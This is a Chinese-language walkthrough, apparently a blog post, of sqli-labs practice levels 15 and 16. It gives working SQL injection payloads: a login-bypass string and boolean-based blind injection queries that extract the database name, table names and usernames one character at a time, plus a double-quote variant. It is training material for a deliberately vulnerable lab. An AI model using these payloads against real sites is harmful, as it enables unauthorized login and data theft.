当前位置: 代码迷 >> 综合 >> sqli-labs练习(十五、十六)
  详细解决方案

sqli-labs练习(十五、十六)

热度:52   发布时间:2023-09-23 00:41:16.0

sqli-labs练习(十五)— POST-Bind-Boolean/time Based-Single quotes


同样,使用万能密码即可登录成功,进过几次注入尝试发现是基于布尔型的盲注。
万能密码:123' or 1=1#,即可登录成功。

基于布尔型的sql注入稍微麻烦,因为要不断的测试,根据页面的反应来猜测后台数据库信息。
下面直接放payload:uname=1' or (select ascii(substr(database(),1,1)) > 100)#&passwd=&submit=Submit,登录成功。说明数据库第一个字母的ascii值大于100
sqli-labs练习(十五、十六)

经过不断的测试发现,数据库第一个字母的ascii值为115,
sqli-labs练习(十五、十六)

构造payload:uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100)#&passwd=&submit=Submit,猜测当前数据库的表名,成功登录,说明当前数据库中的表名的第一个字母的ascii值大于100
sqli-labs练习(十五、十六)
根据这种方法,最终可以得到表名。

猜测数据库中的数据。
payload:uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) >100)#&passwd=&submit=Submit,登录失败,说明表users中的用户名的第一个字母的ascii值不大于100
sqli-labs练习(十五、十六)
依次测试,最终可以得到数据库中的数据。



sqli-labs练习(十六)— POST-Bind-Boolean/time Based-Double quotes


尝试登录发现是基于双引号的变形,
payload:uname=123") or 1=1# #&passwd=&submit=Submit,登录成功。
sqli-labs练习(十五、十六)

第16关和第15关很类似,都是基于布尔型的注入,唯一的区别就是第16关采用的是("")的形式来引用变量uname,
所以在构造payload的时候只需要把'替换为")就可以了。

  相关解决方案